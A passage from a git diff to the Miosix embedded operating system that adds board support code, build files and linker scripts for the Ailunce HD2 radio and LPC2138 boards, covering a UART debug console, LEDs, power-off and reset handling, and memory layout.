debug console (hd2_dbg_puts, 57600 8N1) is wired * + * for bring-up tracing; bring-up is also observable via the LEDs * + * (bsp_impl.h ledOn/ledOff = GPIOB.0 green). Full Miosix stdio/iprintf * + * routing through a Device is not yet wired. * + * * + * NOTE: after a YMODEM flash the IAP does NOT reliably leave DFU on the * + * '3' boot byte (radio sits solid-red); a cold power-cycle (battery * + * pull) boots the freshly flashed image. Capture serial across that. * + ***************************************************************************/ + +#include +#include "interfaces/bsp.h" +#include "interfaces_private/bsp_private.h" +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" +#include "kernel/lock.h" +#include "miosix_settings.h" +#include "filesystem/console/console_device.h" +#include "filesystem/devfs/devfs.h" + +namespace miosix { + +//----------------------------------------------------------------------------- +// Polled serial on UART0 (0x14030000, the loader/debug UART the flashing bridge +// reads at 57600). DesignWare 16550: RBR/THR/DLL +0x00, DLH/IER +0x04, FCR +// +0x08, LCR +0x0c, LSR +0x14. hd2_dbg_puts() is a bare puts the board and the +// CPU fault path can call directly (bounded spin, cannot hang); the HD2Console +// Device below wraps it and is registered as the default console, so +// stdout/printf/bootlog route here too. We do NOT touch the divisor — the IAP +// already set UART0 to 57600 and we inherit it (baud confirmed empirically). +//----------------------------------------------------------------------------- +#define HD2_UART0(off) (*(volatile unsigned int*)(0x14030000u+(off))) +#define UART0_THR HD2_UART0(0x00u) +#define UART0_RBR HD2_UART0(0x00u) //RX buffer (read side of +0x00) +#define UART0_DLL HD2_UART0(0x00u) +#define UART0_DLH HD2_UART0(0x04u) +#define UART0_FCR HD2_UART0(0x08u) +#define UART0_LCR HD2_UART0(0x0cu) +#define UART0_LSR HD2_UART0(0x14u) +#define UART_LSR_THRE 0x20u //THR empty: ok to write +#define UART_LSR_DR 0x01u //RX data ready + +} //namespace miosix + +//clk_init_pll halves the UART ref clock (84->42 MHz), so the IAP's divisor is +//now wrong. Reprogram for 57600 8N1 at 42 MHz: DLL = 42e6/(16*57600) ~= 46 +//(the HW-verified value). MUST run AFTER +//IRQmemoryAndClockInit (clk_init_pll), which IRQbspInit does. +extern "C" void hd2_dbg_init() +{ + UART0_LCR=0x80u; //DLAB=1 + UART0_DLL=46u; + UART0_DLH=0u; + UART0_LCR=0x03u; //8N1, DLAB=0 + UART0_FCR=0x07u; //enable + reset both FIFOs +} + +extern "C" void hd2_dbg_putc(char c) +{ + for(unsigned int g=0; g<200000u && (UART0_LSR & UART_LSR_THRE)==0u; ++g) {} + UART0_THR=static_cast(c); +} + +extern "C" void hd2_dbg_puts(const char *s) +{ + while(*s) hd2_dbg_putc(*s++); +} + +//Neutral early-console hook the CPU-layer fault reporter (cskyv2/interrupts.cpp) +//calls via a weak symbol; route it to the board debug UART. +extern "C" void miosixEarlyConsoleWrite(const char *s){ hd2_dbg_puts(s); } + +namespace miosix { + +// HD2 GPIO bank B (DW_apb_gpio): DR +0x00, DDR +0x04. LEDs + power latch. +#define HD2_GPIOB_BASE 0x14100000u +#define HD2_GPIOB_DR (*(volatile unsigned int*)(HD2_GPIOB_BASE+0x00u)) +#define HD2_GPIOB_DDR (*(volatile unsigned int*)(HD2_GPIOB_BASE+0x04u)) +#define HD2_LED_GREEN (1u<<0) // PTB0, active-high +#define HD2_LED_RED (1u<<1) // PTB1, active-high +#define HD2_PWR_HOLD (1u<<13) // PTB13: power self-latch (HIGH=hold, LOW=cut) + +/** + * Minimal polled console Device for UART0, registered as the default console so + * stdout/printf/iprintf and the kernel bootlog/error path route to the debug + * UART. Output reuses hd2_dbg_putc (a bounded polled write — cannot hang); + * IRQwrite() gives the kernel an IRQ-safe path for boot/fault logs; input is a + * non-blocking poll of the RX FIFO (stdin is unused by this port today). + */ +class HD2Console : public Device +{ +public: + HD2Console() : Device(Device::STREAM) {} + + ssize_t writeBlock(const void *buffer, size_t size, off_t) override + { + const char *p=static_cast(buffer); + for(size_t i=0;i(size); + } + + ssize_t readBlock(void *buffer, size_t size, off_t) override + { + char *p=static_cast(buffer); + size_t n=0; + while(n(UART0_RBR); + return static_cast(n); + } + + void IRQwrite(const char *str) override { hd2_dbg_puts(str); } + + int ioctl(int cmd, void *) override + { + //Polled TX is synchronous, so a sync request is a no-op success. + return cmd==IOCTL_SYNC ? 0 : -1; + } +}; + +void IRQbspInit() +{ + //LEDs (PTB0/PTB1) as outputs, off; keep the power self-latch (PTB13) held. + HD2_GPIOB_DDR|=(HD2_LED_GREEN|HD2_LED_RED|HD2_PWR_HOLD); + HD2_GPIOB_DR =(HD2_GPIOB_DR & ~(HD2_LED_GREEN|HD2_LED_RED)) | HD2_PWR_HOLD; + + //Bring up the polled-TX UART0 debug console (57600 8N1). Must run after + //IRQmemoryAndClockInit (clk_init_pll) so the divisor matches the 42 MHz ref. + hd2_dbg_init(); + + //Route stdout/printf/iprintf and the kernel bootlog through UART0. Must be + //done here in IRQbspInit (IRQsetDefaultConsole contract); new is permitted + //during boot. + IRQsetDefaultConsole(intrusive_ref_ptr(new HD2Console)); +} + +void bspInit2() +{ + //Nothing yet (no filesystem). bspInit2 runs after the kernel is up. +} + +void shutdown() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + FastGlobalIrqLock::lock(); + //Vendor V2.1.3 power-off, done atomically with + //IRQs off: drop the PTB13 power self-latch, then trigger a full system + //soft-reset via the SOCSYS reset controller. BOTH steps matter: + // - On battery the latch-drop removes the rail and the CPU stops here. + // - When the rail is held up externally (USB) the latch-drop alone caused a + // partial brown-out that reset the CPU but left the PLL live, so the + // re-entry re-ran clk_init on a live PLL and HUNG (the "won't power up + // until the cable is pulled" wedge; a bootrom jump had the same flaw). + // SYS_SOFT_RSTN is a CLEAN reset that also resets the clock manager, so + // the cold boot that follows re-runs clk_init from a known state. + //SOCSYS @0x11000000: QUAD_ENABLE(+0x5c)=0x1000000 (matches the vendor), then + //SYS_SOFT_RSTN(+0x00) — active-low reset bits (assert = clear). + // + //We must reset the MODEM/AUDIO blocks here, not just CPU+system. Clearing + //only bit8(cpu)/bit7(sys) (the old 0xfffffe7f) leaves the HR_C7000 modem + //blocks (bits0-6: protocol/phy/fm/audio/codec/adc) RUNNING across the reset. + //When the application has started the modem (any radio/audio bring-up), + //those live blocks leave the clock tree in a state where the post-reset + //clk_init HANGS -- the same "won't power up until the cable is pulled" + //wedge, now re-triggered by the modem instead of the PLL. A build that + //never brings the modem up never hit it. + //Clearing bits0-8 (0xfffffe00) resets the whole modem+codec+adc+CPU+system + //together, so the cold boot re-runs clk_init from a truly known state. At + //power-off it is safe to also reset the volume ADC (bit6) -- the CPU is going + //down anyway (unlike the runtime modem reset, which must spare bit6). + HD2_GPIOB_DR&=~HD2_PWR_HOLD; + *reinterpret_cast(0x1100005cu)=0x01000000u; + *reinterpret_cast(0x11000000u)=0xfffffe00u; + for(;;) { } //the soft-reset takes effect; never returns +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +} //namespace miosix diff --git a/miosix/arch/board/hrc7000_hd2/interfaces-impl/bsp_impl.h b/miosix/arch/board/hrc7000_hd2/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..fa0776634 --- /dev/null +++ b/miosix/arch/board/hrc7000_hd2/interfaces-impl/bsp_impl.h @@ -0,0 +1,23 @@ +/*************************************************************************** + * Board-specific inline helpers for the Ailunce HD2 (HR_C7000/CK803S). * + * GPL v2+ with the Miosix linking exception. * + * * + * ledOn/ledOff drive the GREEN LED (PTB0, active-high) — the * + * bring-up signal (no serial console yet). GPIOB DR @ 0x14100000. * + ***************************************************************************/ + +#pragma once + +namespace miosix { + +inline void ledOn() +{ + *reinterpret_cast(0x14100000u) |= (1u<<0); //PTB0 high +} + +inline void ledOff() +{ + *reinterpret_cast(0x14100000u) &= ~(1u<<0); //PTB0 low +} + +} //namespace miosix diff --git a/miosix/arch/board/hrc7000_hd2/unikernel.ld b/miosix/arch/board/hrc7000_hd2/unikernel.ld new file mode 100644 index 000000000..448da36c5 --- /dev/null +++ b/miosix/arch/board/hrc7000_hd2/unikernel.ld @@ -0,0 +1,45 @@ +/* + * Linker script for the Ailunce HD2 (HR_C7000 / CK803S). + * Compiles Miosix as a unikernel: all RAM for the kernel + kernelspace app, + * no process pool. + * + * This is the board's default/reference script. An application with special + * memory needs — e.g. reserving a fixed RAM window for a resident, non- + * position-independent code blob — supplies its own linker script out of tree + * (the kernel CMake accepts an absolute-path MIOSIX_LINKER_SCRIPT) rather than + * baking that app-specific layout in here. + * + * Memory map: + * flash the application slot the vendor IAP bootloader loads and jumps to. + * VMA == LMA (we run straight from the slot, no remap). Base + * 0x0300d000, length 614400 (600*1024), matching the IAP flash slot. + * ram on-chip SRAM. The low region 0x10000..0x20000 is left to the + * IAP/BOOTROM (vector table + early-boot use); the kernel takes + * 0x20000..0x4f000 (188 KiB). The top 4 KiB (0x4f000..0x50000) is + * excluded because the IAP scribbles on it on every boot + * (~0x4fe00..0x50000, measured across a real WDT crash cycle), and it + * is a convenient spot for a board reset-surviving scratch block. + * + * NB: this RAM base is chosen just above the BOOTROM/IAP low region; it + * has not been boot-validated on silicon via this script directly (no + * in-tree target links it — application builds provide their own). + * + * The generic Miosix script (included below) defines all sections/symbols + * (_etext, _data, _bss_start/_end, init arrays, ctors, _heap_end, + * _irq_stack_top, and ENTRY(miosix::Reset_Handler), which the cpu interrupts.cpp + * places first in flash via .isr_vector). The board only specifies MEMORY + + * tunables. + */ + +/* IRQ stack: CK803S has a single SP; interrupts nest on it (CTX_SAVE pushes + * the 72-byte frame). This stack is used during early boot and would also back + * any deep nesting before the first context switch -- keep it comfortable. */ +_irq_stack_size = 1024; + +MEMORY +{ + flash(rx) : ORIGIN = 0x0300d000, LENGTH = 614400 + ram(wx) : ORIGIN = 0x00020000, LENGTH = 0x2F000 /* 188 KiB: 0x20000..0x4f000 */ +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/lpc2138_generic/CMakeLists.txt b/miosix/arch/board/lpc2138_generic/CMakeLists.txt new file mode 100644 index 000000000..be41ea2a9 --- /dev/null +++ b/miosix/arch/board/lpc2138_generic/CMakeLists.txt @@ -0,0 +1,31 @@ +## +## CMakeLists.txt for board lpc2138_generic +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/lpc2000) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + unikernel.ld +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp +) + +# Add a #define to allow querying board name +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_LPC2138_GENERIC) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_LPC2138_GENERIC) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +#set(PROGRAM_CMDLINE ...) diff --git a/miosix/arch/board/lpc2138_generic/Makefile.inc b/miosix/arch/board/lpc2138_generic/Makefile.inc new file mode 100644 index 000000000..1b7118755 --- /dev/null +++ b/miosix/arch/board/lpc2138_generic/Makefile.inc @@ -0,0 +1,19 @@ +## +## Makefile for board lpc2138_miosix_board +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with header files for this board +CHIP_INC := arch/chip/lpc2000 + +## Select linker script +LINKER_SCRIPT := unikernel.ld + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +$(BOARD_INC)/interfaces-impl/bsp.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_LPC2138_GENERIC +BOARD_CXXFLAGS := -D_BOARD_LPC2138_GENERIC diff --git a/miosix/arch/board/lpc2138_generic/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/lpc2138_generic/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..2fdbcb69a --- /dev/null +++ b/miosix/arch/board/lpc2138_generic/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,30 @@ +/*************************************************************************** + * Copyright (C) 2008-2024 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "LPC213x.h" diff --git a/miosix/arch/board/lpc2138_generic/interfaces-impl/bsp.cpp b/miosix/arch/board/lpc2138_generic/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..7bb68cf09 --- /dev/null +++ b/miosix/arch/board/lpc2138_generic/interfaces-impl/bsp.cpp @@ -0,0 +1,95 @@ +/*************************************************************************** + * Copyright (C) 2008-2026 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp.cpp Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#include +#include "interfaces/bsp.h" +#include "interfaces_private/bsp_private.h" +#include "interfaces/serial.h" +#include "drivers/sdmmc/lpc2000_sd.h" +#include "interfaces/poweroff.h" +#include "miosix_settings.h" +#include "interfaces/arch_registers.h" +#include "filesystem/file_access.h" +#include "filesystem/console/console_device.h" + +namespace miosix { + +// +// Initialization +// + +void IRQbspInit() +{ + //Clearing PINSEL registers. All pin are GPIO by default + PINSEL0=0; + PINSEL1=0; + // Configure all pins as input by default + IODIR0=0; + IODIR1=0; + + //Init serial port + IRQsetDefaultConsole( + intrusive_ref_ptr(new LPC2000Serial(0,SERIAL_PORT_SPEED))); +} + +void bspInit2() +{ + #ifdef WITH_FILESYSTEM + basicFilesystemSetup(SPISDDriver::instance()); + #endif //WITH_FILESYSTEM +} + +void shutdown() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + for(;;) PCON|=0b10; //PD bit +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +} //namespace miosix diff --git a/miosix/arch/board/lpc2138_generic/interfaces-impl/bsp_impl.h b/miosix/arch/board/lpc2138_generic/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..63b1cab0a --- /dev/null +++ b/miosix/arch/board/lpc2138_generic/interfaces-impl/bsp_impl.h @@ -0,0 +1,31 @@ +/*************************************************************************** + * Copyright (C) 2026 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +inline void ledOn() {} +inline void ledOff() {} diff --git a/miosix/arch/arm7_lpc2000/lpc2138_miosix_board/lpc2138_armusbocd.cfg b/miosix/arch/board/lpc2138_generic/openocd.cfg similarity index 100% rename from miosix/arch/arm7_lpc2000/lpc2138_miosix_board/lpc2138_armusbocd.cfg rename to miosix/arch/board/lpc2138_generic/openocd.cfg diff --git a/miosix/arch/board/lpc2138_generic/unikernel.ld b/miosix/arch/board/lpc2138_generic/unikernel.ld new file mode 100644 index 000000000..0da4790c4 --- /dev/null +++ b/miosix/arch/board/lpc2138_generic/unikernel.ld @@ -0,0 +1,42 @@ +/* + * Linker script for LPC2000 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +/* + * The ARM7TDMI core has 7 operating modes: USR, SYS, SVC, IRQ, FIQ, ABT, UND. + * USR and SYS share the stack pointer, but all other modes 6 have a separate + * hardware stack. The Miosix ARMv4 CPU support in file interrupts.cpp makes the + * following simplifications: + * - ABT, UND, SVC, IRQ share the same stack, called the IRQ stack + * - USR and SYS are given a stack by the kernel, not here + * - FIQ is unused so by default its stack size is 0 in this linker script + * + * NOTE: the generic linker script in Miosix defines a memory region for the + * IRQ stack whose size is overridable with _irq_stack_size, and also provides + * the _irq_stack_top symbol. It does however *not* reserve space for a FIQ + * stack, so here we use the following workaround: + * We change the meaning of _irq_stack_size to be the sum of the size of the + * IRQ and FIQ stacks, and piggyback the FIQ stack at the bottom of the IRQ + * stack. This is understandably unintuitive, but ARMv4 support in Miosix is + * considered somewhat legacy, and on top of that no Miosix firwmare I'm aware + * of ever used the FIQ so that's good enough. + */ +_irq_stack_size = 512; /* NOTE: Sum of the IRQ and FIQ stack sizes! */ +_fiq_stack_size = 0; /* Size of the FIQ stack */ +_fiq_stack_top = ORIGIN(ram) + _fiq_stack_size; + +MEMORY +{ + flash(rx) : ORIGIN = 0, LENGTH = 500K /* 512K-12K bootloader */ + /* + * NOTE: the upper 32 byte should be reserved for IAP but doing so means + * the top 1KB block won't be usable by malloc. Since no Miosix firmware + * for LPC2000 is known too use IAP, we'll just not reserve those bytes + */ + /* ram(wx) : ORIGIN = 0x40000000, LENGTH = 32K-32 */ + ram(wx) : ORIGIN = 0x40000000, LENGTH = 32K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/lpc2138_miosix_board/CMakeLists.txt b/miosix/arch/board/lpc2138_miosix_board/CMakeLists.txt new file mode 100644 index 000000000..41f3140b0 --- /dev/null +++ b/miosix/arch/board/lpc2138_miosix_board/CMakeLists.txt @@ -0,0 +1,31 @@ +## +## CMakeLists.txt for board lpc2138_miosix_board +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/lpc2000) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + unikernel.ld +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp +) + +# Add a #define to allow querying board name +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_MIOSIX_BOARD) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_MIOSIX_BOARD) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +#set(PROGRAM_CMDLINE ...) diff --git a/miosix/arch/board/lpc2138_miosix_board/Makefile.inc b/miosix/arch/board/lpc2138_miosix_board/Makefile.inc new file mode 100644 index 000000000..54514821f --- /dev/null +++ b/miosix/arch/board/lpc2138_miosix_board/Makefile.inc @@ -0,0 +1,19 @@ +## +## Makefile for board lpc2138_miosix_board +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with header files for this board +CHIP_INC := arch/chip/lpc2000 + +## Select linker script +LINKER_SCRIPT := unikernel.ld + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +$(BOARD_INC)/interfaces-impl/bsp.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_MIOSIX_BOARD +BOARD_CXXFLAGS := -D_BOARD_MIOSIX_BOARD diff --git a/miosix/arch/board/lpc2138_miosix_board/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/lpc2138_miosix_board/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..2fdbcb69a --- /dev/null +++ b/miosix/arch/board/lpc2138_miosix_board/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,30 @@ +/*************************************************************************** + * Copyright (C) 2008-2024 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "LPC213x.h" diff --git a/miosix/arch/board/lpc2138_miosix_board/interfaces-impl/bsp.cpp b/miosix/arch/board/lpc2138_miosix_board/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..1c77d2c5d --- /dev/null +++ b/miosix/arch/board/lpc2138_miosix_board/interfaces-impl/bsp.cpp @@ -0,0 +1,389 @@ +/*************************************************************************** + * Copyright (C) 2008, 2009, 2010, 2011, 2012, 2013, 2014 * + * by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp.cpp Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#include +#include +#include +#include "interfaces/bsp.h" +#include "interfaces_private/bsp_private.h" +#include "interfaces/delays.h" +#include "interfaces/serial.h" +#include "drivers/sdmmc/lpc2000_sd.h" +#include "kernel/thread.h" +#include "kernel/sync.h" +#include "interfaces/poweroff.h" +#include "miosix_settings.h" +#include "kernel/logging.h" +#include "filesystem/file_access.h" +#include "filesystem/console/console_device.h" + +/* +****************** +Failsafe pin state +****************** +Pin marked as gpio are available for general purpose use +Pin marked as gpio / JTAG are not available if using JTAG in circuit debugger +Pin marked as LED can be accessed using ledOn(), ledOff() and ledRead() +Pin marked as enter/pgm button can be accessed using buttonEnter() +Pin marked as * have the restriction that cannot be driven low when the +microcontroller is in RESET because they trigger special functions, for more +info, read the LPC2138 datasheet. +Pin marked as # are open drain, that is, cannot force a high level without the +use of an external pull up resistor. For more info read LPC2138 datasheet. +All other pin are reserved since are used for USB, uSD... + +p0.0 in txd (USB,rs232) p0.16 in gpio p1.16 in gpio +p0.1 in rxd (USB,rs232) p0.17 out 0 sck (uSD) p1.17 in gpio +p0.2 in # gpio p0.18 in miso (uSD) p1.18 in gpio +p0.3 in # gpio p0.19 out 0 mosi (uSD) p1.19 in gpio +p0.4 in gpio p0.20 out 0 cs (uSD) p1.20 in * gpio +p0.5 in gpio p0.21 in gpio p1.21 in gpio +p0.6 in gpio p0.22 in gpio p1.22 in gpio +p0.7 in gpio p0.23 in gpio p1.23 in gpio +p0.8 in gpio p0.24 --- p1.24 in gpio +p0.9 in gpio p0.25 in gpio p1.25 in gpio +p0.10 in gpio p0.26 in gpio p1.26 in * gpio / JTAG +p0.11 in card detect(uSD) p0.27 in gpio p1.27 in gpio / JTAG +p0.12 in gpio p0.28 in gpio p1.28 in gpio / JTAG +p0.13 out 0 +3V(B) en p0.29 in gpio p1.29 in gpio / JTAG +p0.14 in * enter/pgm button p0.30 in gpio p1.30 in gpio / JTAG +p0.15 in #sleep (USB) p0.31 out 1 LED p1.31 in gpio / JTAG +*/ +#define IODIR0_failsafe 0x811a2000 +#define IOCLR0_failsafe 0x7fffffff +#define IOSET0_failsafe 0x80000000 +#define IODIR1_failsafe 0x0000ffff +#define IOCLR1_failsafe 0x00000000 +#define IOSET1_failsafe 0xffffffff + +//Power management macros +// enable 3v subsystem (WARNING: after a system reset wait 100mS before turning on) +#define subsystem_3v_on() (IOSET0=(1<<13)) +// disable 3v subsystem (WARNING: make sure uSD pins are @ their failsafe state) +#define subsystem_3v_off() (IOCLR0=(1<<13)) + +namespace miosix { + +/** +\internal +Put the cpu to power down mode. Used in shutdown() +*/ +static inline void goPowerDown() +{ + PCON|=PD; +} + +#ifdef WITH_RTC +//Commented below in this file +static void rtcInit(); +#endif //WITH_RTC + +// +// Initialization +// + +void IRQbspInit() +{ + //Some registers are only accessed in read-modify-write. Since software reset + // ( system_reboot() ) does not put those register in a known state, unlike + //hardware reset, we need to clear them. + //Clearing PINSEL registers. All pin are GPIO by default + PINSEL0=0; + PINSEL1=0; + //Now setting pin to their failsafe (initialization) pin state + IODIR0=IODIR0_failsafe; + IOCLR0=IOCLR0_failsafe; + IOSET0=IOSET0_failsafe; + IODIR1=IODIR1_failsafe; + IOCLR1=IOCLR1_failsafe; + IOSET1=IOSET1_failsafe; + + //Now wait 100ms + ledOn(); + delayMs(100); + ledOff(); + //Enable 3v subsystem + subsystem_3v_on(); + delayMs(50); + //Peripheral are enabled using an ondemand strategy to save power. + //So by default, they are disabled. + PCONP=0; + + //Init RTC (if selected) + #ifdef WITH_RTC + rtcInit(); + #endif //WITH_RTC + //Init serial port + IRQsetDefaultConsole( + intrusive_ref_ptr(new LPC2000Serial(0,SERIAL_PORT_SPEED))); +} + +void bspInit2() +{ + #ifdef WITH_FILESYSTEM + #ifdef WITH_DEVFS + intrusive_ref_ptr devFs=basicFilesystemSetup(SPISDDriver::instance()); + #ifdef AUX_SERIAL + devFs->addDevice(AUX_SERIAL, + intrusive_ref_ptr(new LPC2000Serial(1,AUX_SERIAL_SPEED))); + #endif //AUX_SERIAL + #else //WITH_DEVFS + basicFilesystemSetup(); + #endif //WITH_DEVFS + #endif //WITH_FILESYSTEM +} + +// +// RTC time support +// + +#ifdef WITH_RTC +/** +Initializes the RTC +*/ +static void rtcInit() +{ + PCONP|=PCRTC; + CCR=(1<<0) | (1<<4);//Clock enabled, clock source is 32KHz xtal + CIIR=0; +} + +Time rtcGetTime() +{ + Time t; + unsigned int t0,t1; + //Reading is tricky because time can overflow while reading + do { + t0=CTIME0; + t1=CTIME1; + } while(t0!=CTIME0); + t.sec=(unsigned char)(t0 & 0x3f); + t.min=(unsigned char)((t0>>8) & 0x3f); + t.hour=(unsigned char)((t0>>16) & 0x1f); + t.dow=(DayOfWeek)((t0>>24) & 0x7); + t.day=(unsigned char)(t1 & 0x1f); + t.month=(unsigned char)((t1>>8) & 0xf); + t.year=(unsigned int)((t1>>16) & 0xfff); + return t; +} + +void rtcSetTime(Time t) +{ + PauseKernelLock lock;//The RTC is a shared resource ;) + CCR&=~(1<<0);//Stop RTC clock + SEC=(int)t.sec; + MIN=(int)t.min; + HOUR=(int)t.hour; + DOM=(int)t.day; + DOW=(int)t.dow; + MONTH=(int)t.month; + YEAR=(int)t.year; + CCR|=(1<<0);//Restart RTC clock +} +#endif //WITH_RTC + +// +// Shutdown and reboot +// + +//Reuse function called at boot to configure clock to reconfigure it after +//exiting deep sleep +void IRQmemoryAndClockInit(); + +/** +\internal +Shutdown system. +\param and_return if true, this function returns after wakeup, if false calls +system_reboot() immediately after wakeup +\param t wakeup time, only allowed if WITH_RTC is #define'd +*/ +static void _shutdown(bool and_return, Time *t) +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + if(and_return==false) 